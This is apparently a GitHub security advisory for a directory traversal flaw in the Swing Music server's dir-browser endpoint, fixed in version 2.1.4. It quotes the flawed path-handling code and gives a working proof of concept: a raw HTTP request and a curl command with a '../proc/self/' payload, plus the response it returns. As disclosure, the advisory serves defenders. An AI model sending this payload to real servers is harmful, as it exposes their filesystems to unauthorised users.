GHSA-pj88-9xww-gxmh
Swing Music has a Directory Traversal & Filesystem can be accessed by a non-admin user
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | swingmusic | < 2.1.4 | 2.1.4 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Swing Music's `list_folders()` function in the `/folder/dir-browser` endpoint is vulnerable to directory traversal attacks. Any authenticated user (including non-admin) can browse arbitrary directories on the server filesystem.
### Details
The `@api.post("/dir-browser")` endpoint lacks proper path validation and authorization checks:
- **No authorization requirement**: Any authenticated user can access the endpoint
- **Improper path handling**: The code attempts to prepend "/" to non-existent paths but this doesn't prevent traversal:
```python
req_dir = pathlib.Path("../../../../etc") # → PosixPath('../../../../etc')
if not req_dir.exists(): # → False
req_dir = "/" / req_dir # → PosixPath('/../../../../etc')
```
### PoC
1. Create a non-admin user
2. Authenticate as a non-admin user
3. Send the following request:
```
POST /folder/dir-browser HTTP/1.1
Host: IP:1970
Content-Type: application/json
Cookie: access_token_cookie=non-admin-access-token
Connection: keep-alive
{"folder":"/music/../proc/self/", "tracks_only":false}
```
```bash
curl --path-as-is -i -s -k -X $'POST' -H $'Content-Type: application/json' -b $'access_token_cookie=non-admin-access-token' \
--data-binary $'{\"folder\":\"/music/../proc/self/\", \"tracks_only\":false}' \
$'http://IP:1970/folder/dir-browser'
```
4. The response will list directories from `/proc/self` instead of restricting to user-accessible paths:
```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 466
Vary: Accept-Encoding
Connection: Keep-Alive
{"folders":[{"name":"attr","path":"/music/../proc/self/attr"},{"name":"cwd","path":"/music/../proc/self/cwd"},{"name":"fd","path":"/music/../proc/self/fd"},{"name":"fdinfo","path":"/music/../proc/self/fdinfo"},{"name":"map_files","path":"/music/../proc/self/map_files"},{"name":"net","path":"/music/../proc/self/net"},{"name":"ns","path":"/music/../proc/self/ns"},{"name":"root","path":"/music/../proc/self/root"},{"name":"task","path":"/music/../proc/self/task"}]}
```
### Impact
**Information Disclosure:**
- Server filesystem structure and layout
- Configuration file locations and names
- User account names from directory listings
- Software versions and installed packages
- Log file locations and system paths
**Additional Risks:**
- Preparation for further attacks (LFI, RCE)
- Bypass of access control mechanisms
- Exposure of sensitive directory structures
References
External links from the advisory. They lead to third-party sites.